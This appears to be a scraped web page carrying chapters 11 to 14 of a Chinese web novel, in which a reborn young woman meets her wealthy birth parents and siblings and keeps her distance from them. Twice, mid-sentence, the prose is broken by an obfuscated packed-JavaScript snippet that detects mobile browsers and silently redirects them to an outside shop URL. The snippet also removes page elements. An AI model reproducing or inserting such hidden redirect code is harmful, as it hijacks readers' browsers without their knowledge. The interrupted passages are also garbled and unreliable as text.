祝容时将手机熄屏,把资料放到一边,从始至终未曾想过回拨过去。 一如既往吃过早点才洗漱换衣服出门上班,今天周末,她打算明天早上回校。 上班是标准的早九晚五,但因为是周末,这个时候路上人不多也不少,搭了一趟公交车就到达目的地。 公交车到文化公园停车,她从后门下车,没走几步便到了昨天拍照的地方。 在经过那里的时候,她突然感觉心跳快了许多,同时一股莫名其妙的感觉袭来,她定了定神,加快步伐离开了。 早上九点,体验馆刚刚开门,她提步走进去,却见里面不止店长一个人。 体验馆的店长陶瑛是位年轻漂亮的姑娘,听说她家境优渥,开这个体验馆只是满足一下兴趣爱好,工作日她偶尔会在,但非工作日的时候,就只有她和另一位兼职的曲欢。 但今天显然有些特别,因为里面不仅曲欢一个人,店长陶瑛和本该双休的摄影师程玉轩也在,另外还有两位背对着店门的衣着干练的女子。 看样子是刚开门生意就来了。 祝容时习以为常的走进去,寻了个角落默默坐着,降低自己的存在感。 与她一起兼职的曲欢见她来了,一直紧绷的神情顿时放松了不少,她将水杯放在两位客人面前,便放轻脚步向她走来。 “你可算来了。”曲欢在她身旁落座,压低了声音道,“你都不知道刚刚我有多紧张。” 祝容时同样低声回道:“开门就有生意这不挺好的吗?有什么好紧张的呀?” 曲欢神秘兮兮的道:“如果真是简简单单的生意就好了。” 闻言,祝容时心里咯噔一下:“不是生意上门还能是什么?” 曲欢神秘兮兮的看了她一眼,然后抬手在她肩上拍了拍:“你很快就知道了。” 祝容时眼皮一跳,下一瞬,店长陶瑛的呼唤声传来:“容时?” 祝容时循声看去,只见陶瑛正笑意盈盈的向她看来:“怎么坐在那儿?快过来!” 陶瑛话音落下的瞬间,祝容时的目光随即落在那二位客人身上,心脏跳动的次数也更快了。 她挪动脚步,一点点走近,心情莫名其妙紧张起来。 陶瑛受不了她这缓慢的速度,几步走了过来,一把拉着她站到那二人面前。 目光交汇的瞬间,祝容时便知道,这二位是谁了。 她僵在原地,久久回不过神来。 与此同时,耳边响起陶瑛的声音:“容阿姨可真有眼光,容时可是很有天分的,让她给您和雅言姐姐拍,你们一定会很满意的。” 祝容时脸色微白,眼中却弥漫湿润,她轻轻推开陶瑛的手:“姐姐,我拍不好,还是请程老师来……” 推拒的话还未说完,陶瑛便已经觉察到不对了,见她状态不对,赶紧扶着祝容时坐下:“怎么了?是不是哪里不舒服啊?” 面对陶瑛的问询,祝容时只是轻轻摇了摇头:“没有,姐姐,我今天可以请假吗?” 陶瑛一时怔然,她对着容瑾瑜和祝雅言歉意一笑,随后轻声道:“来都来了,这时候才说请假,你今天的薪水不要了?去休息室休息会儿吧,等你状态好了再出来就行。” 祝容时白着脸点了点头,匆忙站起身就想要逃离,她的尖刺可以对准谢君尧、对准宣翾、对准容若珩,可却无论如何也无法对准这位将她带到这个世界上的人。 她甚至做不到坦然的面对她。 因为她不是祝温如,她只是一个竭尽全力想要摆脱前生阴影的孤魂野鬼。 但她才站起来走了还没两步,就被人一把握住了手,祝容时垂眸看去,握住她的手正微微轻颤,却并未用力。 不知道为什么,祝容时竟没想过要挣开,就这样任她握着。 陶瑛再度看了看容瑾瑜,又看向祝容时,目光最后落在二人的手,她眼珠一转,当即便开口道:“容阿姨,不如您先看看我们专业摄影师拍的成品如何?他很优秀的,一定会是您最好的选择……” 她的话并未说完,因为容瑾瑜先开口了:“容时就是我最好的选择。” 祝容时僵立原地,许久才缓缓开口:“您最好的选择,不应该是我。” 陶瑛眉头一跳,这一看就是话里有话啊,她们之间?难道有什么不为人知的关系?可祝容时不是福利院长大的吗?她怎么会和这样的人家扯上关系? 陶瑛压下心中的好奇,不动声色给另外几个人使了个眼色,几人轻手轻脚的走了出去,体贴的把空间给祝容时她们腾了出来。 没了外人,容瑾瑜稍稍紧了紧握着祝容时的手,做足了准备才站起身来,祝雅言则从另一侧绕到她的面前。 稍作打量之后,她双手抬起,顺了顺她耳边的碎发,便满含不舍的放下了手:“容羲说,你是愿意见我们的,本来想着……去你的出租屋和你见一面,但没能联系上你,可又太想见你了,所以只能来你兼职的地方……” 祝容时垂下眼眸,视线落在容瑾瑜的手上,却没有开口说话。 祝雅言话音落下之后,这里便安静下来。 三人二站一坐,气氛逐渐僵硬下来。 不知过了多久,她恍惚听见容瑾瑜轻叹一声,随后祝容时便感觉到她握着自己的手缓缓用力。 她没有抵抗,堪称乖巧的顺着容瑾瑜的力道坐在了她的旁边。 容瑾瑜拉她坐下之后也未曾开口,只是捧着她的手一点点轻抚过掌心。 这双手并不娇嫩,有书写和工作造成的茧,摸上去甚至有些粗糙。容瑾瑜一寸一寸抚过,下一瞬泪珠便滴落在她的掌心。 祝容时的心猛地一跳,呼吸也跟着放轻了,手指微微蜷缩,她略略用力打算收回手,然下一瞬却听到了她的声音,动作便就此凝滞: “是妈妈没用,让你受了那么多苦……” 祝容时愕然抬头,她抿抿唇,十分平 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这一生的她没有被任何人逼迫,也没有任何时候感受到了束缚,她做出的一切都只是单纯的为了自己,能够自由选择自己的人生路要如何走,这对她而言就是最好的日子。 容瑾瑜凝视她许久,脸上缓缓浮现出一抹笑意,眼中却仍有泪光闪烁。她抬起手,想要再摸摸女儿的脸,却在半空中顿了顿,最终只是轻轻抚过她的脸颊,似是满意,又似是欣慰。 祝容时轻轻回了她一个微笑。 这个笑彻底结束了之前的话题,眼见祝容时对她们没有抵触之心,片刻后,容瑾瑜放下了手,也放心了,她细细端详着祝容时,脱口而出的话却是对着祝雅言说的:“她笑起来的时候,真的很像你爸爸。” 祝雅言本就一直站在祝容时身后,听闻此言,便凑上前来看:“是很像。” 祝雅言道:“我和容羲都像妈妈,只有容时,和爸爸像了七分。” 容瑾瑜颔首:“眉眼像我,脸型也随我,其他的几乎和你爸爸如出一辙。” “说起来,容时可以告诉姐姐,昨天舅舅和容羲是哪里不对,惹你生气了?姐姐和妈妈晚上回去教训他们!”见容瑾瑜放松下来,祝雅言便也直言问出从前天就一直留在心里的疑问。 祝容时沉默片刻,道:“并不是他们的错,更多是我性情古怪,情绪不稳定。” 容瑾瑜却摇了摇头:“不,一定是他们先做错了。” 她虽然还不了解刚找到的女儿,但她已经足够了解自己的弟弟和儿子。 容若珩性子有些急躁,鉴定结果出来了一定会非常急切的想要把人带到她面前。而他这急切的性子导致他有些时候做事不经过大脑思考,所以前天,错一定不全在女儿身上。 祝容羲性子倒是沉稳,但有些一板一眼,有时候说话也太直来直去,对上容时,极有可能一句话就惹怒她。 所以,即便双方都有错,但先错的人,一定是他们俩。 祝容时怔怔看她片刻,随即抬手拭去眼角的湿润,说话分明犹带鼻音却又故作轻快:“不是来体验汉服拍写真吗?您们不挑一挑衣服吗?” 她不想继续方才那些话题了,既然来了店里,那她就要调整好自己,先专注工作。 她现在是打工人,她要业绩。 容瑾瑜与祝雅言相视一笑,二人不约而同起身。 门外,陶瑛见里面几人话已说完,便压下好奇心带着他们走了进来,热情的帮二位客人选择衣服首饰。 12. 12 这一生祝容时给不少人拍过照片,但前生今生加起来,她还是第一次,给有血缘关系的人拍摄。 拍摄结束之后,她看着眼前衣着华丽的女子,仍然有些回不过神。 她只怔怔的看着眼前人,却不敢低头去看一眼相机,她不知道自己拍的怎么样,是好还是不好。 她本该自信满满,但这一刻却还是忍不住心怀忐忑。 容瑾瑜站在她的面前,张开手转了一圈,然后问她和祝雅言:“好看吗?” 祝雅言在一旁笑着点头,随后与她一起,看向祝容时。 祝容时点点头,道:“很好看,端庄优雅,华贵雍容。” 闻言,容瑾瑜展颜一笑,她提着裙摆迈步走过去,轻轻将她拥入怀里,怕她觉得不适应,所以她没敢用力,只松松环抱着她。 结束一天的拍摄之后,距离下班也就只有差不多一个小时的时间了。 回到店里,容瑾瑜和祝雅言换了衣服出来的时候,祝容时已经把拍照设备的外置内存卡交给陶瑛,此时正在一旁收拾自己的东西。 祝雅言见状本打算上前帮忙,但被祝容时制止了:“不用。” 祝雅言伸出的手停在半空。 祝容时接着道:“我自己收拾就好。”她不喜欢有人碰她的东西。 祝容时占有欲很强,她可以主动分享,但不允许别人触碰。 其实很早以前她并不这样的,只是后来发生了一些事情,于是她就变成这样了。 祝雅言默默收回手,二人就这样静静看着她一个人收拾整理。 恰在此时,守在电脑面前的陶瑛发出一声夸赞:“容时拍的真好看!” 程玉轩在一旁连连点头:“的确,拍的很不错!要是哪天容时专注于这个行业,那肯定财源滚滚来。” 容瑾瑜和祝雅言被这夸赞吸引了注意力,二人走到陶瑛身侧,顺着她的目光看向电脑屏幕。 这张照片是中午的时候拍的,那个时候她们经过了换衣服化妆做造型,选择拍摄地点这一流程,刚准备出发便发现已经到了吃早饭的时候了,几人便决定等用餐之后再去拍摄,于是等到正式开拍的时候,已经是下午一点了。 那个时候的阳光有些刺眼,祝雅言干脆将道具团扇用来遮阳,恰巧这时容瑾瑜在和她说话,于是她转头回复,就这一个瞬间,被祝容时抓拍下来了。 这一张拍摄的时机抓的很好,拍出来的效果也很自然。 几人面露赞许,兴致勃勃的继续翻看起来,但并没看几张,因为祝容时的东西收拾好了。 容瑾瑜说了一句:全部保留,就急忙走到了祝容时身边。 “今天可以和我们回家吗?你爸爸他,很想见见你。” 祝容时静静看了她们许久,随后决定婉拒:“不了,今天周末,我打算把设备送去出租屋就回学校里。” 容瑾瑜的脸色一僵,情绪顿时有些失落,祝雅言见状,便忍不住开口劝道:“可以让我们送你去出租屋吗?等你把东西放好,然后和我们一起一家人吃一顿饭,然后再送你回学校?好不好?” 祝容时看着她充满希冀的眼眸,心莫名其妙一软,原本打算拒绝的摇头最后却鬼使神差的点头了。 于是,最后情况变成了这样,她莫名其妙的就和他们一起去祝家了。 车子行驶进入祝家的范围之内便渐渐慢了下来,最后稳稳停在了正对喷泉的门口。 有人上前来拉开车门,祝容时默不作声打量片刻,随后将目光放在容瑾瑜脸上,容瑾瑜轻笑了下,先一步下车,随后转身,将手伸了过来: “宝宝,妈妈带你回家。” 祝容时的心在看到她的手时安宁不少,她伸出手,轻轻落在她的掌心,然后被缓缓握紧。 下车后,祝容时抬头扫了一眼,随后在容瑾瑜温柔的目光中,轻轻回握她的手,跟着她走进家门。 但走进去之后,她却忍不住自惭形秽,因为她的一切,都和这里格格不入,无论是气质修养,还是衣着打扮。 她听过一句话,山鸡变不成凤凰,她不觉得自己是什么山鸡,因为她觉得自己很优秀,很坚强很勇敢。但同样的,她也从来不是什么凤凰。 祝容时只是一个平凡普通的人。无论成绩再如何出色,也并不能和这样的豪门世家相比,因为他们之间的差距太大了。 在这一刻,她无比清晰的认识到,纵使有血缘关系,自己也并不适合这里。 这一瞬间,祝容时暗暗下定了决心,决定以后离这里、也离他们远一点。 但祝雅言却仿佛洞悉了她的想法一般,在进门之后,便拉着她的手往电梯走去。 这是与平素所见截然不同的电梯,祝容时从未想过,自己有一天居然会接触到这些。 电梯上升到六楼便停下了,祝雅言牵着她的手,带着她走了出去,直至走到开着门的房间。 “这是独属于你一个人的私人空间,这里是卧室、旁边是更衣室和浴室、对面是书房、书房旁边是影音室……不过书房是空着的,因为还不知道你喜欢看什么书,所以我们没放什么书籍。” “这样的布置你觉得怎么样?你喜欢吗?”祝雅言的声音里有些忐忑,神情亦有些小心翼翼的模样。 祝容时看着她期待的目光,逃避一般的垂下眼眸,入目是洁白的地板,和她脚上毛茸茸的拖鞋。 一个,独属于她的私人空间吗? 许久,祝容时点了点头:“喜欢的。” 得到答复,祝雅言顿时便放松了。她兴致勃勃的拉着她的手,催促她探索这层楼每一处地方。 祝容时便也顺势而为,将这层楼每个房间都拉开看了一眼,卧室很大,和更衣室连在一起,更衣室和浴室之间有一门相隔,推开门先看到的是美容室,后面才是浴室。 另一边是书房和影音室,每一处都很完美,完美的像梦一般,当她一伸手,就什么都没了。 一瞬间,眼神清明。 她对着祝雅言说道:“谢谢姐姐。” 祝雅言眼眶微红,轻轻点了点头,抬手顺了顺她的长发:“谢什么?你是我的妹妹啊!” 二人再下楼时,祝盛蹊和祝容羲已经回来了。 他们面色严肃,仍然身着一身笔挺西装,但在看到祝容时的时候,原本的严肃瞬间荡然无存,只余下一片温和。 祝容时站在祝雅言身侧,怔怔看向自己此生的父亲。 下一瞬,脚步轻移,祝盛蹊提步缓缓向她走来,最后停在距离她一步之遥的地方。 修长的手抬起,轻抚过她的额角。 祝容时在看到这人的一瞬间,便明白为何容若珩一眼就将目光定在她身上了。 无他,仅仅因为她和她这一生的父亲祝盛蹊,长得很像。 就如前生,她也长得像极了父亲一样。 两张如此相似的面孔放在一起,是血脉传承,亦是截然不同。 祝盛蹊的手抚过她的脸颊,随后小心翼翼的捏了捏,道:“回来就好。” 其它的话,他什么也没说。没有问她过去那些年如何、没有问她之前为何没来、也没问她周五那天发生了什么、只是简简单单一句“回来就好”,便言明了他心中对她的期待。 祝容时僵在原地片刻,才沉默地抬手捂住脸颊,她不适应现在的亲人,也很不适应突如其来的亲昵。 祝盛蹊将她的神色尽收眼底,于是默默往后退了一步,重新说起别的事情:“我听瑾瑜说,你晚上还要回学校去,是吗?” 祝容时闻言并未开口,只是点了点头。 祝盛蹊得到回应,便开口问道:“那等过会儿吃过饭了,再让容羲送你回去,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548358|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好?” 祝容时见他们并未擅自决定,而是开口问询她的意愿,便也开口回应:“好。” 十分简短的一个字,对第一次正式接触的彼此而言,已然是一个很好的开始。 话音落下时,她的目光亦在祝容羲身上停留了片刻。 她并不觉得,祝容羲会对周五那天的事对他们有所隐瞒,不过他们既然知道了那天的事情,那心中又会是怎么想的呢? 思及此,祝容时心里有些好奇,不过眼下并不适合提及此事,于是她将好奇藏在心里。 现在刚刚六点整,距离用餐时间还有一个小时,等待的时候,祝容时便安安静静地坐在祝雅言身边,她不曾抬头看谁,也不曾主动和谁说话。 六点半的时候,祝盛蹊拿了一份文件下楼了。 刚来便坐到祝容时身侧,将一份文件递给了她:“这是爸爸给你的见面礼,是你出生之前就已经准备好的。” 是庆贺女儿平安出生,是庆祝爸爸和小女儿的第一次见面。 祝容时闻言,心扑通扑通地跳了起来,她抬眸看向众人,却见他们只是笑着催促她赶紧将文件打开,于是她便也抬手打开文件。 霎时间,字迹映入眼帘——房产赠与合同,她的心顿时一颤,下意识抬头看向身边人。 下一刻,文件被她合上。 祝盛蹊眼皮一跳,显然是没想到她会是这个反应。 祝容时将文件还给祝盛蹊:“我不要。” 既不是不能,也不是不想。 而是直截了当的不要。 祝盛蹊看着眼前的文件,并未接过,只是面带落寞的道:“这只是一个父亲,给女儿的一份见面礼……” 闻言,客厅里除了还低着头的祝容时之外,在场的容瑾瑜包括祝容羲和祝雅言都面露惊骇。 祝盛蹊这人面对他们的时候,从来都是一副软硬不吃的模样,过去共同生活的这二十多年里,他们从没见过他露出如此神色。 祝盛蹊说话的间隙也不忘视线扫过一旁的一双儿女。他性情如何自己心知肚明,但容瑾瑜对家里人是吃软不吃硬的。 他从容瑾瑜的话里知道祝容时也是吃软不吃硬的,所以从始至终都并未强硬安排,只是默然示弱。 果不其然,他清晰明了的看见,祝容时面露为难。 会为难,说明她心里犹豫、迟疑,这证明她只是还不适应和他们在一起,并不是完全不接受他们这些亲人。 祝容时思虑良久,才缓缓开口:“我来这里,不是为了这些。” “我只是为了见一见你们,然后和你们一起吃一顿饭,不为别的。” “刚刚姐姐已经带我去过六楼看过了,现在又看到了您一早准备的这份礼物……我很感激您们曾经如此期待祝温如。” 顿时,在场四人不约而同心神俱震。为什么是感激他们期待祝温如?而不是她自己? 说到这里,祝容时停顿了片刻。 在她停顿的间隙,祝容羲上前几步来到她面前,半蹲着与她平视:“我们一直都很期待你。” 祝容时摇了摇头,她一直都记得祝温如是谁,她是那个被人偷走七年后找回来,和这个家的一切格格不入,不被父母和哥哥姐姐重视的人。 她不是祝温如,她是祝容时。 这里的所有人,的确都与她有着最亲密的血缘关系,但不容置疑,他们从始至终不曾期待过祝容时。 最初期待的,是即将出生的祝温如,后来一直寻找的,是被人偷走的祝温如。 只不过最后阴差阳错,她改了名字,改变了这一切。 “我是祝容时,不是祝温如。” 只有祝温如真正属于这个家,她才理所应当的拥有这一切。 但祝容时不一样,她并不属于这里,也不能拥有这一切。 13. 13 谁都没有想到,祝容时将自己和祝温如分的如此清楚。 可是对他们而言,祝容时不就是祝温如吗? 容瑾瑜坐不住了,她走过来拉过祝盛蹊,自己坐在她的身边:“可容时就是温如啊!” 祝容时摇了摇头:“如果我不曾来到这个世上,那如今的我就是祝温如,毋庸置疑。你们会很快就找到“我”、接“我”回家,然后“我”会因为曾经的一切和这个家、和这里的所有人格格不入而被人忽视,“我”会变成我最讨厌的样子,你们也不会喜欢、不会期待这样的“我”。” 因为她来了,因为她把祝温如这个名字改了,因为她逃离了那被人既定的一切,所以才有了今天,所以如今才能知道,原来他们曾经如此期待过祝温如。 可梦中的祝温如知道她的家人曾经如此期待她们的到来吗?对此祝容时不知道,也并不想知道。 所以,祝容时只是语气温和,神色坚定的道:“我永远是祝容时,永远不是祝温如。” “很感激您们曾经如此的期待和找寻,吃完这顿饭,以后如何……就随缘吧。” 祝容时话音落下的瞬间,容瑾瑜的眼睛瞬间便湿润了,泪水划过脸颊,她猛地抬手抱住祝容时:“怎么能这样?你是我的女儿,我们都是你的至亲,怎么可以随缘?!” 只是血缘至亲而已,又不是朝夕相处感情深厚的亲人,况且,就算是朝夕相处感情深厚的亲人,最后不也得随缘吗?再亲近的人最后都将渐行渐远,这就是人与人的生离。 祝容时垂下眼眸,没有开口,她一直记得一句话:有父母在才是至亲一家人;没有父母在,再怎么亲的人以后都只是亲戚,只不过有些亲疏远近的差别罢了。 祝盛蹊心里头一次生出挫败感,他坐在沙发上,目光平静的看着眉眼低垂神色温和却坚定的祝容时,面沉如水,不知在想些什么。 祝雅言面色晦涩难言,她最初就能隐约猜到祝容时心里的想法,她一直以为让她喜欢接受这里,她就能放弃那些想法从此和他们生活在一起,可现在才明白,是她太天真了。 祝容羲倒是一脸的习以为常,他从初次见她他就知道,祝容时不会因为什么就轻易改变自己内心的想法。 祝盛蹊沉默良久,到底受不了祝容时将两个名字划分的如此清楚:“容时,你要知道,如果你不曾来到这世上,那便不会有祝温如的存在。” 祝容时抬手拍了拍容瑾瑜的肩背,一边回复祝盛蹊:“祝容时不是祝温如。” 祝盛蹊顺着她的话说:“祝容时不是祝温如,但你是我的女儿,这是不容置疑的事实!” 祝容时怔然片刻,她将祝温如和祝容时分的如此清楚,却一直忘了自己如今这具身躯原来是属于祝温如的。这身躯是他们的女儿,无论她叫祝温如,还是祝容时…… “但我并不属于这里。”片刻之后,祝容时缓缓开口,“家人对我而言,就像镜花水月,只远远看着是很美好的,当我凑近,就会变成我最害怕的样子。” “你们现在是很期待我,不错,可以后长久相处下来,你们对我的期待还会有多少?喜欢又还会留有多少?” “一时一刻的喜欢会持续多久?当我的观念与你们不同时,你们又会怎样对我?你们又是否会喜欢观念与你们不同的人?” 众人怀揣着惊诧的心情默默听她说完,下一瞬,偌大的客厅寂静的落针可闻。 过了许久,祝雅言忍不住开口问她:“为什么你会担心这种事?明明那些事那么遥远,甚至都不太可能会发生……” 祝容时却摇了摇头:“我不觉得这些事很遥远,最多十年,我们或许就要面对这一切。只有保持距离,偶尔来往,我才会相信我所畏惧的那一切没有可能发生。” 当她话音落下时,管家前来与他们说可以用晚饭了。 祝容时低头一看,才发现原来已经到了下午七点了。 所有话题在此刻戛然而止,没有人能给她一个坚定的答案。 沉默地用完晚饭,祝容时起身告辞,祝容羲在她身后,到门口时司机已经把车开出来了。 祝容羲没要司机,是自己开车送她回去学校。 她下车的时候,祝容羲拉住了她的手:“这个周五,我来接你,然后告诉你那些问题的答案,可以吗?” 祝容时未置可否,只是含糊不清的应了一声,随即挣开他的手,转身下车走进校舍楼。 她提出问题,却并不在意答案,于她而言,答案是什么都不重要。因为答案只是现在的人给出的答案,不是以后的人给出的答案。 以后会如何谁都不知道,祝容时现在也并不想知道,她只希望生活恢复到原本的样子,她不想生活有变动,她害怕。 今天在校的人不多,祝容时的宿舍里这时候就只有她一个人。 她推门而入,把随身携带的东西放在桌上,然后拿上衣服走进卫生间。 沐浴的时候宿舍里传来了交谈的声音,是她同寝室的舍友回来了。 听见卫生间里传来水声,阮滢滢来到门口问询:“容时,是你回来了吗?” 祝容时应了一声:“需要用卫生间吗?稍微等一下哦,我很快就好了。” 阮滢滢摇头笑道:“不用,你慢慢弄,等你出来再说。” 音落,阮滢滢转身离开了。 大约半个小时后,祝容时用浴巾包裹着头发出来了,阮滢滢一见到她,便用手机打开校园论坛递到她面前:“星期五那天,有人上传了几张照片,是你和容教授的。” 祝容时眉头一皱,抓着头发的手紧了紧。 阮滢滢继续滑动手机屏幕,屏幕上的照片特别清晰,前面几张照片是那天早上她用餐时容若珩坐她对面的,后面的都是她和容若珩祝容羲争执时被人拍下的。 祝容时撇了撇嘴,脸上的表情充满不耐:“课程真是太轻松了,才让他们有空在这里凭空捏造编排别人,这么能编咋不去当编剧啊?出场就能领金扫把。” 阮滢滢无奈轻叹:“所以如果可以,你还是出面澄清一下吧,不然影响到你怎么办?” 祝容时点头应下,并且准备谨慎对待,就她看来,无论前生还是如今,谣言止于智者这种情况少之又少,他们觉得诋毁别人是快乐的,所以他们不会放弃诋毁别人,她唯一能做的就是,利用现有的一切条件,让诋毁者付出代价。 这么一想,祝容时将包裹着的头发放开,转身拿着手机来到阳台,拨通了容瑾瑜的号码。 谁惹出的麻烦谁解决,既然这些事是因为祝家人才有的,那自然该由他们来处理,她没必要为此浪费精力。 电话很快接通,手机里传出容瑾瑜温柔的声音:“容时?” 祝容时沉吟片刻,说道:“周五那天,我和容教授相处的一些场景,被人拍下来了,发在校园论坛里,我希望您能帮助我处理一下。” 容瑾瑜闻言,当即便已知道,在那些照片的下方评论里,都有些什么言论,她正色道:“嗯,这事你不用担心,若珩会解决的。” “你也不用报警,这种校园论坛的谣言发酵极快,报警立案走程序太慢了,等你拿到处理结果,名声早就被毁了。我们需要的是立刻、马上让帖子消失并公开辟谣,这一点家里来做比警方更有效率。” 祝容时轻轻嗯了一声。 事实确实如容瑾瑜所言,警方处理案件讲究程序正义和证据链,这必然需要时间。而在网络舆论的战场上,时间就是生命。一旦错过了澄清的黄金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548359|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗口期,即便最后真相大白,造成的伤害也无法挽回。 但若他们自己出面结果或许就不一样了。 不!结果一定会不一样! 祝容时看着窗外漆黑的夜色,心中涌起一股复杂的情绪。她很清楚,普通人想要维护自己的名誉,往往需要付出巨大的时间成本和精力,甚至可能因为耗不起而被迫放弃。 而她,只需要打一个电话。 祝容时此刻不由得有些庆幸,在自己此生第一次遭遇造谣的时候,有势可依,有权可用。她不需要亲自去跑断腿求一个公道,因为有人会帮她扫平这些障碍。 电话挂断,她转身走了进来,正好对上阮滢滢的目光。 阮滢滢鼓着脸颊哼了一声:“老实交代,刚刚电话里的人和你说了什么?” 祝容时一脸无辜的模样看着阮滢滢,道:“她说,让我不要担心,她会处理的。” “那她能解决的很好吗?需不需要我帮忙啊?”阮滢滢说着,一边伸手去拉祝容时的手。 祝容时摇了摇头:“她可以的,你放心吧。” 阮滢滢这才放心,开始有了八卦的心思:“话说回来,那位容教授,为什么会对你另眼相待啊?” 祝容时思索片刻,觉得这关系和这些事情都没有什么见不得人,于是便坦言相告:“容教授,我其实应该叫他一声,舅舅。” 这话一出,整个宿舍顿时寂静无声。连另外二人都纷纷挪动椅子走了过来:“快快快,坐下说。” 祝容时被拉着坐在椅子上也没什么不适应,只是接着道:“容教授是我生母的弟弟,因为他,他们找到我了。那天是他拿到了亲子鉴定的结果,想带我回去,我们发生了争执,所以才会被人拍下来,没有别的原因。” 三人心下了然,道了声原来如此,便将这个话题就此揭过,只是颇为关切的问她:“突然就有亲人的生活,对你来说是什么样的感觉啊?会不适应吗?” 祝容时摇了摇头:“没什么感觉,我还是我,我的生活节奏不会被打乱,所以说不上适应还是不适应。” 阮滢滢道:“我听说孤儿突然有了家人会很不适应,家人不适应她的回来,她也不适应突然融入一个家……你没有不适应就好。” 阮滢滢的话音才刚落下,一直站在一旁从始至终不曾出声的萧语澜便开口了:“恭喜你拥有家庭,以后就不会是自己一个人了。” 祝容时微微一笑:“谢谢。” “有了家人,以后你就不用什么都自己强撑着了。说实话,我当初是真的很不理解,拿着助学金和奖学金还勤工俭学的你,到底是哪根神经搭错了非要花大几千去买一台相机?”刘慕青说起这个就觉得惊奇。 好在当时虽然买了那东西,但祝容时那时候还有福利院的供养,基本生活不成问题,不然她们都不知道该怎么办才好了。 祝容时不好意思的笑了笑,但没说话。 这些话题就这样被揭过了。 当吹干头发躺在床上,祝容时睁着眼睛看着一片黑暗的天花板,心情复杂难言。 下午说出那些话的时候,她自己都不知道自己想要什么样的答案,祝容羲说要给她答案,可他要给她什么样的答案呢? 祝容时在思索间不知不觉睡去,再醒来时,天已经亮了,但手机定好的闹钟还没响,她从枕头底下摸出手机来看时间,见才六点半,便把手机熄屏继续休息,直到闹钟响了才依依不舍离开被窝。 这个星期除去星期五那天没课,前面几天都是满课,祝容时今天下午的第一堂课就是容若珩的,卫生间里,祝容时看着课表,十分无奈的叹了口气。 无论如何,课得去上。 洗漱之后,祝容时轻手轻脚的出门了。 14. 14 早晨七点五十,祝容时悄无声息落座第四排靠窗不怎么显眼的位置,低着头翻开书看了起来。 将近八点的时候,教室里渐渐坐满了人。 上课铃声响起,偌大的一间教室座无虚席,任课教授走进教室,开始今天的授课。 早上的课程分为上下两节,在十二点结束,下午的课在两点开始,中午这点时间足够在食堂就餐,然后午休片刻。 祝容时没有按时午休的习惯,食堂用餐之后便去了图书馆整理今天的笔记。 笔记整理结束后,她打开手机相册,看这个星期的课程安排。 今天下午的课是容若珩的,看到这个熟悉的名字,祝容时终于想起来点进校园论坛,一眼看去,首页推荐里,关于她和容若珩的不堪内容已经消失不见了,取而代之的是祝容时身世曝光的热帖。 她点进去看了看,然后面无表情退出,这是一个小时前发布的内容,将她的身世与自小到大的经历大致说了个清楚明白。 祝容时还是第一次知道,原来自己如今的这一生,比曾经不知有了多少戏剧性。 下午的课程如期而至,第一堂课宣告结束后,今天的课程就结束了,晚上的时间留给学生们自由活动。 所以在第一堂课结束后,容若珩在教室里留了一会儿,目送着听课的同学一个一个收拾东西起身离开,祝容时仿佛不经意的抬头看了他一眼,随后神色如常开始收拾东西。 收拾好后,她如面对其他任课教授一般起身和容若珩道别:“教授再见。” 音落,提着东西起身就走,即将踏出教室门的时候,容若珩的声音传来:“等等。” 祝容时停下脚步,转身向他看来,座位靠后的同学从后门出去了,这个时候的教室里除了他们已经空无一人。 容若珩提步向她走来,停在她三步之外,不算太近,却也不远,是她可以接受的距离。 “对不起。” 很突兀的一句话,祝容时歪了歪头,眼中了然,神色却流露不解。 见她没有开口,容若珩接着道:“我为之前的举动向你道歉,对不起,是我太急切……” 太急切的想带你回家,太想让经历了分离之苦的容瑾瑜好好看看女儿…… 祝容时没有说话,只静静的看着他,前生及至如今,以舅舅的身份,出现在她生命里的人少之又少,她心里下意识开始思索,这位所谓的舅舅,对她那位生身母亲的感情有多少,又是否真挚…… 思索片刻,她抿了抿嘴,为自己下意识的担忧和多事感到恼火,但好在脱口而出的话一如既往的不带丝毫情绪:“情有可原,我能理解,不必道歉。” 短短十二个字,尤其言简意赅,也十分冷淡疏离。 闻言,容若珩沉默半晌,一时竟不知道该说些什么,才能和眼前的女孩拉近距离,半晌后,容若珩道:“今晚没课了,你要再回去看看吗?” 祝容时不假思索开口拒绝:“不了。” 容若珩在听得她拒绝的下一瞬开口:“为什么不愿意回去?” 祝容时道:“不想就是不想,没有那么多为什么。” 这个世界上任何东西都有可能会变成刺向自己的刀,亲情当然也不例外,甚至比起其他的,来自于亲情的伤害会更难愈合。 她已经被伤过一次了,如今她又怎能用自己这满身的刺和放不下的前尘过往去伤害别人呢? 容若珩看着她一脸的拒绝与防备,心里倍感无奈,他从第一次见面就对这个久别多年的外甥女无可奈何。 在他无奈的时候,祝容时已经礼貌的向他告别,而后头也不回离开教室。 容若珩被她礼貌道别的声音拉回了注意力,转头目送她一步步离开后,才离开教室,回了办公室里。 容若珩的办公室平时除了他的助教基本不会有别人来,可今日却与寻常不同。他才进来没一会儿,几个平时聊天比较多的同事就来了。 他们进来也不拐弯抹角,直言不讳说起了学校论坛的事,说完之后,还颇为迟疑的问了一句:“那位名叫祝容时的同学,真的是你姐姐失散多年的女儿,你的外甥女啊?” 容若珩不假思索点头:“是啊。” 事实如此,也没什么见不得人的,不必遮遮掩掩欲盖弥彰。 